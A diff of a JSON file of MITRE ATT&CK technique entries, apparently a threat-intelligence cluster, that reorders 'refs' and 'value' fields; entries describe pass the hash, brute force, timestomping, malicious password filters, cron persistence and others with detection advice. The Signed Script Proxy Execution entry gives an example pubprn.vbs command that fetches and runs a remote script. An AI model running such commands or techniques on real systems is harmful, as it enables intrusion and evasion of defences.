"kill_chain": [
"mitre-attack:enterprise-attack:discovery"
@@ -1737,18 +1732,17 @@
"Linux",
"macOS",
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1087"
]
},
- "uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08"
+ "uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08",
+ "value": "Account Discovery - T1087"
},
{
"description": "Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash. In this technique, valid password hashes for the account being used are captured using a Credential Access technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems. \n\nWindows 7 and higher with KB2871997 require valid domain user credentials or RID 500 administrator hashes. (Citation: NSA Spotting)\n\nDetection: Audit all logon and credential use events and review for discrepancies. Unusual remote logins that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity. NTLM LogonType 3 authentications that are not associated to a domain login and are not anonymous logins are suspicious.\n\nPlatforms: Windows\n\nData Sources: Authentication logs\n\nSystem Requirements: Requires Microsoft Windows as target system\n\nContributors: Travis Smith, Tripwire",
- "value": "Pass the Hash - T1075",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1075",
- "http://www.nsa.gov/ia/%20files/app/spotting%20the%20adversary%20with%20windows%20event%20log%20monitoring.pdf"
- ],
"external_id": "T1075",
"kill_chain": [
"mitre-attack:enterprise-attack:lateral-movement"
@@ -1758,17 +1752,18 @@
],
"mitre_platforms": [
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1075",
+ "http://www.nsa.gov/ia/%20files/app/spotting%20the%20adversary%20with%20windows%20event%20log%20monitoring.pdf"
]
},
- "uuid": "c23b740b-a42b-47a1-aec2-9d48ddd547ff"
+ "uuid": "c23b740b-a42b-47a1-aec2-9d48ddd547ff",
+ "value": "Pass the Hash - T1075"
},
{
"description": "The source command loads functions into the current shell or executes files in the current context. This built-in command can be run in two different ways source /path/to/filename [arguments] or . /path/to/filename [arguments]. Take note of the space after the \".\". Without a space, a new shell is created that runs the program instead of running the program within the current context. This is often used to make certain features or functions available to a shell or to update a specific shell's environment. \n\nAdversaries can abuse this functionality to execute programs. The file executed with this technique does not need to be marked executable beforehand.\n\nDetection: Monitor for command shell execution of source and subsequent processes that are started as a result of being executed by a source command. Adversaries must also drop a file to disk in order to execute it with source, and these files can also detected by file monitoring.\n\nPlatforms: Linux, macOS\n\nData Sources: Process Monitoring, File monitoring, Process command-line parameters\n\nPermissions Required: User\n\nRemote Support: No",
- "value": "Source - T1153",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1153"
- ],
"external_id": "T1153",
"kill_chain": [
"mitre-attack:enterprise-attack:execution"
@@ -1781,18 +1776,17 @@
"mitre_platforms": [
"Linux",
"macOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1153"
]
},
- "uuid": "45d84c8b-c1e2-474d-a14d-69b5de0a2bc0"
+ "uuid": "45d84c8b-c1e2-474d-a14d-69b5de0a2bc0",
+ "value": "Source - T1153"
},
{
"description": "Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools. Timestomping may be used along with file name Masquerading to hide malware and tools. (Citation: WindowsIR Anti-Forensic Techniques)\n\nDetection: Forensic techniques exist to detect aspects of files that have had their timestamps modified. (Citation: WindowsIR Anti-Forensic Techniques) It may be possible to detect timestomping using file modification monitoring that collects information on file handle opens and can compare timestamp values.\n\nPlatforms: Linux, Windows\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters\n\nDefense Bypassed: Host forensic analysis\n\nPermissions Required: User, Administrator, SYSTEM",
- "value": "Timestomp - T1099",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1099",
- "http://windowsir.blogspot.com/2013/07/howto-determinedetect-use-of-anti.html"
- ],
"external_id": "T1099",
"kill_chain": [
"mitre-attack:enterprise-attack:defense-evasion"
@@ -1805,20 +1799,18 @@
"mitre_platforms": [
"Linux",
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1099",
+ "http://windowsir.blogspot.com/2013/07/howto-determinedetect-use-of-anti.html"
]
},
- "uuid": "128c55d3-aeba-469f-bd3e-c8996ab4112a"
+ "uuid": "128c55d3-aeba-469f-bd3e-c8996ab4112a",
+ "value": "Timestomp - T1099"
},
{
"description": "Adversaries may use brute force techniques to attempt access to accounts when passwords are unknown or when password hashes are obtained.\n\nCredential Dumping to obtain password hashes may only get an adversary so far when Pass the Hash is not an option. Techniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table. Cracking hashes is usually done on adversary-controlled systems outside of the target network. (Citation: Wikipedia Password cracking)\n\nAdversaries may attempt to brute force logins without knowledge of passwords or hashes during an operation either with zero knowledge or by attempting a list of known or possible passwords. This is a riskier option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies. (Citation: Cylance Cleaver)\n\nA related technique called password spraying uses one password, or a small list of passwords, that matches the complexity policy of the domain and may be a commonly used password. Logins are attempted with that password and many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. (Citation: BlackHillsInfosec Password Spraying)\n\nDetection: It is difficult to detect when hashes are cracked, since this is generally done outside the scope of the target network. \n\nMonitor authentication logs for system and application login failures of Valid Accounts. If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials.\n\nAlso monitor for many failed authentication attempts across various accounts that may result from password spraying attempts.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Authentication logs\n\nPermissions Required: User\n\nContributors: John Strand",
- "value": "Brute Force - T1110",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1110",
- "https://en.wikipedia.org/wiki/Password%20cracking",
- "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance%20Operation%20Cleaver%20Report.pdf",
- "http://www.blackhillsinfosec.com/?p=4645"
- ],
"external_id": "T1110",
"kill_chain": [
"mitre-attack:enterprise-attack:credential-access"
@@ -1830,19 +1822,20 @@
"Linux",
"macOS",
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1110",
+ "https://en.wikipedia.org/wiki/Password%20cracking",
+ "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance%20Operation%20Cleaver%20Report.pdf",
+ "http://www.blackhillsinfosec.com/?p=4645"
]
},
- "uuid": "a93494bb-4b80-4ea1-8695-3236a49916fd"
+ "uuid": "a93494bb-4b80-4ea1-8695-3236a49916fd",
+ "value": "Brute Force - T1110"
},
{
"description": "Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in Persistence and Execution.\n\nAccess to specific areas of the Registry depends on account permissions, some requiring administrator-level access. The built-in Windows command-line utility Reg may be used for local or remote Registry modification. (Citation: Microsoft Reg) Other tools may also be used, such as a remote access tool, which may contain functionality to interact with the Registry through the Windows API (see examples).\n\nThe Registry of a remote system may be modified to aid in execution of files as part of Lateral Movement. It requires the remote Registry service to be running on the target system. (Citation: Microsoft Remote) Often Valid Accounts are required, along with access to the remote system's Windows Admin Shares for RPC communication.\n\nDetection: Modifications to the Registry are normal and occur throughout typical use of the Windows operating system. Changes to Registry entries that load software on Windows startup that do not correlate with known software, patch cycles, etc., are suspicious, as are additions or changes to files within the startup folder. Changes could also include new services and modification of existing binary paths to point to malicious files. If a change to a service-related entry occurs, then it will likely be followed by a local or remote service start or restart to execute the file.\n\nMonitor processes and command-line arguments for actions that could be taken to change or delete information in the Registry. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell, which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, File monitoring, Process monitoring, Process command-line parameters\n\nDefense Bypassed: Host forensic analysis\n\nPermissions Required: User, Administrator, SYSTEM\n\nContributors: Bartosz Jerzman, Travis Smith, Tripwire",
- "value": "Modify Registry - T1112",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1112",
- "https://technet.microsoft.com/en-us/library/cc732643.aspx",
- "https://technet.microsoft.com/en-us/library/cc754820.aspx"
- ],
"external_id": "T1112",
"kill_chain": [
"mitre-attack:enterprise-attack:defense-evasion"
@@ -1855,19 +1848,19 @@
],
"mitre_platforms": [
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1112",
+ "https://technet.microsoft.com/en-us/library/cc732643.aspx",
+ "https://technet.microsoft.com/en-us/library/cc754820.aspx"
]
},
- "uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4"
+ "uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4",
+ "value": "Modify Registry - T1112"
},
{
"description": "Windows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as dynamic link libraries (DLLs) containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts.\n\nBefore registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation.\n\nAdversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made. (Citation: Carnal Ownage Password Filters Sept 2013)\n\nDetection: Monitor for change notifications to and from unfamiliar password filters.\n\nNewly installed password filters will not take effect until after a system reboot.\n\nPassword filters will show up as an autorun and loaded DLL in lsass.exe. (Citation: Clymb3r Function Hook Passwords Sept 2013)\n\nPlatforms: Windows\n\nData Sources: DLL monitoring, Windows Registry, Process monitoring\n\nPermissions Required: Administrator, SYSTEM\n\nContributors: Vincent Le Toux",
- "value": "Password Filter DLL - T1174",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1174",
- "http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html",
- "https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/"
- ],
"external_id": "T1174",
"kill_chain": [
"mitre-attack:enterprise-attack:credential-access"
@@ -1879,18 +1872,19 @@
],
"mitre_platforms": [
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1174",
+ "http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html",
+ "https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/"
]
},
- "uuid": "b8c5c9dd-a662-479d-9428-ae745872537c"
+ "uuid": "b8c5c9dd-a662-479d-9428-ae745872537c",
+ "value": "Password Filter DLL - T1174"
},
{
"description": "Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system. For example, if there is a Mach-O executable file called evil.bin, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to evil.txt, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to \"evil.txt \" (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back). \n\nAdversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.\n\nDetection: It's not common for spaces to be at the end of filenames, so this is something that can easily be checked with file monitoring. From the user's perspective though, this is very hard to notice from within the Finder.app or on the command-line in Terminal.app. Processes executed from binaries containing non-standard extensions in the filename are suspicious.\n\nPlatforms: Linux, macOS\n\nData Sources: File monitoring, Process Monitoring\n\nPermissions Required: User\n\nContributors: Erye Hernandez, Palo Alto Networks",
- "value": "Space after Filename - T1151",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1151",
- "https://arstechnica.com/security/2016/07/after-hiatus-in-the-wild-mac-backdoors-are-suddenly-back/"
- ],
"external_id": "T1151",
"kill_chain": [
"mitre-attack:enterprise-attack:defense-evasion",
@@ -1903,18 +1897,18 @@
"mitre_platforms": [
"Linux",
"macOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1151",
+ "https://arstechnica.com/security/2016/07/after-hiatus-in-the-wild-mac-backdoors-are-suddenly-back/"
]
},
- "uuid": "e2907cea-4b43-4ed7-a570-0fdf0fbeea00"
+ "uuid": "e2907cea-4b43-4ed7-a570-0fdf0fbeea00",
+ "value": "Space after Filename - T1151"
},
{
"description": "Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations.\n\n===Mac===\n\nOn OSX, the native command screencapture is used to capture screenshots.\n\n===Linux===\n\nOn Linux, there is the native command xwd. (Citation: Antiquated Mac Malware)\n\nDetection: Monitoring for screen capture behavior will depend on the method used to obtain data from the operating system and write output files. Detection methods could include collecting information from unusual processes using API calls used to obtain image data, and monitoring for image files written to disk. The sensor data may need to be correlated with other events to identify malicious activity, depending on the legitimacy of this behavior within a given network environment.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: API monitoring, Process monitoring, File monitoring",
- "value": "Screen Capture - T1113",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1113",
- "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/"
- ],
"external_id": "T1113",
"kill_chain": [
"mitre-attack:enterprise-attack:collection"
@@ -1928,21 +1922,18 @@
"Linux",
"macOS",
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1113",
+ "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/"
]
},
- "uuid": "0259baeb-9f63-4c69-bf10-eb038c390688"
+ "uuid": "0259baeb-9f63-4c69-bf10-eb038c390688",
+ "value": "Screen Capture - T1113"
},
{
"description": "Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system.\n\nAn adversary may need to determine if the remote system is in a vulnerable state, which may be done through Network Service Scanning or other Discovery methods looking for common, vulnerable software that may be deployed in the network, the lack of certain patches that may indicate vulnerabilities, or security software that may be used to detect or contain remote exploitation. Servers are likely a high value target for lateral movement exploitation, but endpoint systems may also be at risk if they provide an advantage or access to additional resources.\n\nThere are several well-known vulnerabilities that exist in common services such as SMB (Citation: CIS Multiple SMB Vulnerabilities) and RDP (Citation: NVD CVE-2017-0176) as well as applications that may be used within internal networks such as MySQL (Citation: NVD CVE-2016-6662) and web server services. (Citation: NVD CVE-2014-7169)\n\nDepending on the permissions level of the vulnerable remote service an adversary may achieve Exploitation for Privilege Escalation as a result of lateral movement exploitation as well.\n\nDetection: Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the processes. This could include suspicious files written to disk, evidence of Process Injection for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: Windows Error Reporting, Process Monitoring, File monitoring\n\nPermissions Required: User\n\nSystem Requirements: Unpatched software or otherwise vulnerable target. Depending on the target and goal, the system and exploitable service may need to be remotely accessible from the internal network.",
- "value": "Exploitation of Remote Services - T1210",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1210",
- "https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-microsoft-windows-smb-server-could-allow-for-remote-code-execution/",
- "https://nvd.nist.gov/vuln/detail/CVE-2017-0176",
- "https://nvd.nist.gov/vuln/detail/CVE-2016-6662",
- "https://nvd.nist.gov/vuln/detail/CVE-2014-7169"
- ],
"external_id": "T1210",
"kill_chain": [
"mitre-attack:enterprise-attack:lateral-movement"
@@ -1956,17 +1947,21 @@
"Linux",
"Windows",
"macOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1210",
+ "https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-microsoft-windows-smb-server-could-allow-for-remote-code-execution/",
+ "https://nvd.nist.gov/vuln/detail/CVE-2017-0176",
+ "https://nvd.nist.gov/vuln/detail/CVE-2016-6662",
+ "https://nvd.nist.gov/vuln/detail/CVE-2014-7169"
]
},
- "uuid": "9db0cf3a-a3c9-4012-8268-123b9db6fd82"
+ "uuid": "9db0cf3a-a3c9-4012-8268-123b9db6fd82",
+ "value": "Exploitation of Remote Services - T1210"
},
{
"description": "If a malicious tool is detected and quarantined or otherwise curtailed, an adversary may be able to determine why the malicious tool was detected (the indicator), modify the tool by removing the indicator, and use the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems.\n\nA good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may use Software Packing or otherwise modify the file so it has a different signature, and then re-use the malware.\n\nDetection: The first detection of a malicious tool may trigger an anti-virus or other security tool alert. Similar events may also occur at the boundary through network IDS, email scanning appliance, etc. The initial detection should be treated as an indication of a potentially more invasive intrusion. The alerting system should be thoroughly investigated beyond that initial alert for activity that was not detected. Adversaries may continue with an operation, assuming that individual events like an anti-virus detect will not be investigated or that an analyst will not be able to conclusively link that event to other activity occurring on the network.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Process use of network, Anti-virus, Binary file metadata, Process command-line parameters, Process monitoring\n\nDefense Bypassed: Anti-virus, Log analysis, Host intrusion prevention systems",
- "value": "Indicator Removal from Tools - T1066",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1066"
- ],
"external_id": "T1066",
"kill_chain": [
"mitre-attack:enterprise-attack:defense-evasion"
@@ -1982,19 +1977,17 @@
"Linux",
"macOS",
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1066"
]
},
- "uuid": "00d0b012-8a03-410e-95de-5826bf542de6"
+ "uuid": "00d0b012-8a03-410e-95de-5826bf542de6",
+ "value": "Indicator Removal from Tools - T1066"
},
{
"description": "When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access. (Citation: Microsoft Change Default Programs) (Citation: Microsoft File Handlers) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.\n\nSystem file associations are listed under HKEY_CLASSES_ROOT\\.[extension], for example HKEY_CLASSES_ROOT\\.txt. The entries point to a handler for that extension located at HKEY_CLASSES_ROOT\\[handler]. The various commands are then listed as subkeys underneath the shell key at HKEY_CLASSES_ROOT\\[handler]\\shell\\[action]\\command. For example:\n*HKEY_CLASSES_ROOT\\txtfile\\shell\\open\\command\n*HKEY_CLASSES_ROOT\\txtfile\\shell\\print\\command\n*HKEY_CLASSES_ROOT\\txtfile\\shell\\printto\\command\n\nThe values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to execute arbitrary commands.\n\nDetection: Collect and analyze changes to Registry keys that associate file extensions to default applications for execution and correlate with unknown process launch activity or unusual file types for that process. \n\nUser file association preferences are stored under [HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts and override associations configured under [HKEY_CLASSES_ROOT]. Changes to a user's preference will occur under this entry's subkeys.\n\nAlso look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator, SYSTEM\n\nContributors: Stefan Kanthak, Travis Smith, Tripwire",
- "value": "Change Default File Association - T1042",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1042",
- "https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs",
- "http://msdn.microsoft.com/en-us/library/bb166549.aspx"
- ],
"external_id": "T1042",
"kill_chain": [
"mitre-attack:enterprise-attack:persistence"
@@ -2006,19 +1999,19 @@
],
"mitre_platforms": [
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1042",
+ "https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs",
+ "http://msdn.microsoft.com/en-us/library/bb166549.aspx"
]
},
- "uuid": "68c96494-1a50-403e-8844-69a6af278c68"
+ "uuid": "68c96494-1a50-403e-8844-69a6af278c68",
+ "value": "Change Default File Association - T1042"
},
{
"description": "Scripts signed with trusted certificates can be used to proxy execution of malicious files. This behavior may bypass signature validation restrictions and application whitelisting solutions that do not account for use of these scripts.\n\nPubPrn.vbs is signed by Microsoft and can be used to proxy execution from a remote site. (Citation: Enigma0x3 PubPrn Bypass) Example command: cscript C:\\Windows\\System32\\Printing_Admin_Scripts\\en-US\\pubprn.vbs 127.0.0.1 script:http[:]//192.168.1.100/hi.png\n\nThere are several other signed scripts that may be used in a similar manner. (Citation: GitHub Ultimate AppLocker Bypass List)\n\nDetection: Monitor script processes, such as cscript, and command-line parameters for scripts like PubPrn.vbs that may be used to proxy execution of malicious files.\n\nPlatforms: Windows\n\nData Sources: Process monitoring, Process command-line parameters\n\nDefense Bypassed: Application whitelisting, Digital Certificate Validation\n\nPermissions Required: User\n\nRemote Support: No\n\nContributors: Praetorian",
- "value": "Signed Script Proxy Execution - T1216",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1216",
- "https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/",
- "https://github.com/api0cradle/UltimateAppLockerByPassList"
- ],
"external_id": "T1216",
"kill_chain": [
"mitre-attack:enterprise-attack:defense-evasion",
@@ -2030,17 +2023,19 @@
],
"mitre_platforms": [
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1216",
+ "https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/",
+ "https://github.com/api0cradle/UltimateAppLockerByPassList"
]
},
- "uuid": "f6fe9070-7a65-49ea-ae72-76292f42cebe"
+ "uuid": "f6fe9070-7a65-49ea-ae72-76292f42cebe",
+ "value": "Signed Script Proxy Execution - T1216"
},
{
"description": "Adversaries may target user email to collect sensitive information from a target.\n\nFiles containing email data can be acquired from a user's system, such as Outlook storage or cache files .pst and .ost.\n\nAdversaries may leverage a user's credentials and interact directly with the Exchange server to acquire information from within a network.\n\nSome adversaries may acquire user credentials and access externally facing webmail applications, such as Outlook Web Access.\n\nDetection: There are likely a variety of ways an adversary could collect email from a target, each with a different mechanism for detection.\n\nFile access of local system email files for Exfiltration, unusual processes connecting to an email server within a network, or unusual access patterns or authentication attempts on a public-facing webmail server may all be indicators of malicious activity.\n\nMonitor processes and command-line arguments for actions that could be taken to gather local email files. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows\n\nData Sources: Authentication logs, File monitoring, Process monitoring, Process use of network",
- "value": "Email Collection - T1114",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1114"
- ],
"external_id": "T1114",
"kill_chain": [
"mitre-attack:enterprise-attack:collection"
@@ -2053,17 +2048,17 @@
],
"mitre_platforms": [
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1114"
]
},
- "uuid": "1608f3e1-598a-42f4-a01a-2e252e81728f"
+ "uuid": "1608f3e1-598a-42f4-a01a-2e252e81728f",
+ "value": "Email Collection - T1114"
},
{
"description": "An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture.\n\n===Windows===\n\nExample commands and utilities that obtain this information include ver, Systeminfo, and dir within cmd for identifying information based on present files and directories.\n\n===Mac===\n\nOn Mac, the systemsetup command gives a detailed breakdown of the system, but it requires administrative privileges. Additionally, the system_profiler gives a very detailed breakdown of configurations, firewall rules, mounted volumes, hardware, and many other things without needing elevated permissions.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Process command-line parameters, Process monitoring\n\nPermissions Required: User",
- "value": "System Information Discovery - T1082",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1082"
- ],
"external_id": "T1082",
"kill_chain": [
"mitre-attack:enterprise-attack:discovery"
@@ -2076,17 +2071,17 @@
"Linux",
"macOS",
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1082"
]
},
- "uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1"
+ "uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1",
+ "value": "System Information Discovery - T1082"
},
{
"description": "Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network. \n\n===Windows===\n\nUtilities and commands that acquire this information include netstat, \"net use,\" and \"net session\" with Net.\n\n===Mac and Linux ===\n\nIn Mac and Linux, netstat and lsof can be used to list current connections. who -a and w can be used to show which users are currently logged in, similar to \"net session\".\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator",
- "value": "System Network Connections Discovery - T1049",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1049"
- ],
"external_id": "T1049",
"kill_chain": [
"mitre-attack:enterprise-attack:discovery"
@@ -2099,24 +2094,17 @@
"Linux",
"macOS",
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1049"
]
},
- "uuid": "7e150503-88e7-4861-866b-ff1ac82c4475"
+ "uuid": "7e150503-88e7-4861-866b-ff1ac82c4475",
+ "value": "System Network Connections Discovery - T1049"
},
{
"description": "On Linux and Apple systems, multiple methods are supported for creating pre-scheduled and periodic background jobs: cron, (Citation: Die.net Linux crontab Man Page) at, (Citation: Die.net Linux at Man Page) and launchd. (Citation: AppleDocs Scheduling Timed Jobs) Unlike Scheduled Task on Windows systems, job scheduling on Linux-based systems cannot be done remotely unless used in conjunction within an established remote session, like secure shell (SSH).\n\n===cron===\n\nSystem-wide cron jobs are installed by modifying /etc/crontab file, /etc/cron.d/ directory or other locations supported by the Cron daemon, while per-user cron jobs are installed using crontab with specifically formatted crontab files. (Citation: AppleDocs Scheduling Timed Jobs) This works on Mac and Linux systems.\n\nThose methods allow for commands or scripts to be executed at specific, periodic intervals in the background without user interaction. An adversary may use job scheduling to execute programs at system startup or on a scheduled basis for Persistence, (Citation: Janicab) (Citation: Methods of Mac Malware Persistence) (Citation: Malware Persistence on OS X) (Citation: Avast Linux Trojan Cron Persistence) to conduct Execution as part of Lateral Movement, to gain root privileges, or to run a process under the context of a specific account.\n\n===at===\n\nThe at program is another means on Linux-based systems, including Mac, to schedule a program or script job for execution at a later date and/or time, which could also be used for the same purposes.\n\n===launchd===\n\nEach launchd job is described by a different configuration property list (plist) file similar to Launch Daemon or Launch Agent, except there is an additional key called StartCalendarInterval with a dictionary of time values. (Citation: AppleDocs Scheduling Timed Jobs) This only works on macOS and OS X.\n\nDetection: Legitimate scheduled jobs may be created during installation of new software or through administration functions. Jobs scheduled with launchd and cron can be monitored from their respective utilities to list out detailed information about the jobs. Monitor process execution resulting from launchd and cron tasks to look for unusual or unknown applications and behavior.\n\nPlatforms: Linux, macOS\n\nData Sources: File monitoring, Process Monitoring\n\nPermissions Required: Administrator, User, root\n\nContributors: Anastasios Pingios",
- "value": "Local Job Scheduling - T1168",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1168",
- "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/ScheduledJobs.html",
- "http://www.thesafemac.com/new-signed-malware-called-janicab/",
- "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
- "https://www.rsaconference.com/writable/presentations/file%20upload/ht-r03-malware-persistence-on-os-x-yosemite%20final.pdf",
- "https://linux.die.net/man/5/crontab",
- "https://linux.die.net/man/1/at",
- "https://blog.avast.com/2015/01/06/linux-ddos-trojan-hiding-itself-with-an-embedded-rootkit/"
- ],
"external_id": "T1168",
"kill_chain": [
"mitre-attack:enterprise-attack:persistence",
@@ -2129,19 +2117,24 @@
"mitre_platforms": [
"Linux",
"macOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1168",
+ "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/ScheduledJobs.html",
+ "http://www.thesafemac.com/new-signed-malware-called-janicab/",
+ "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
+ "https://www.rsaconference.com/writable/presentations/file%20upload/ht-r03-malware-persistence-on-os-x-yosemite%20final.pdf",
+ "https://linux.die.net/man/5/crontab",
+ "https://linux.die.net/man/1/at",
+ "https://blog.avast.com/2015/01/06/linux-ddos-trojan-hiding-itself-with-an-embedded-rootkit/"
]
},
- "uuid": "c0a384a4-9a25-40e1-97b6-458388474bc8"
+ "uuid": "c0a384a4-9a25-40e1-97b6-458388474bc8",
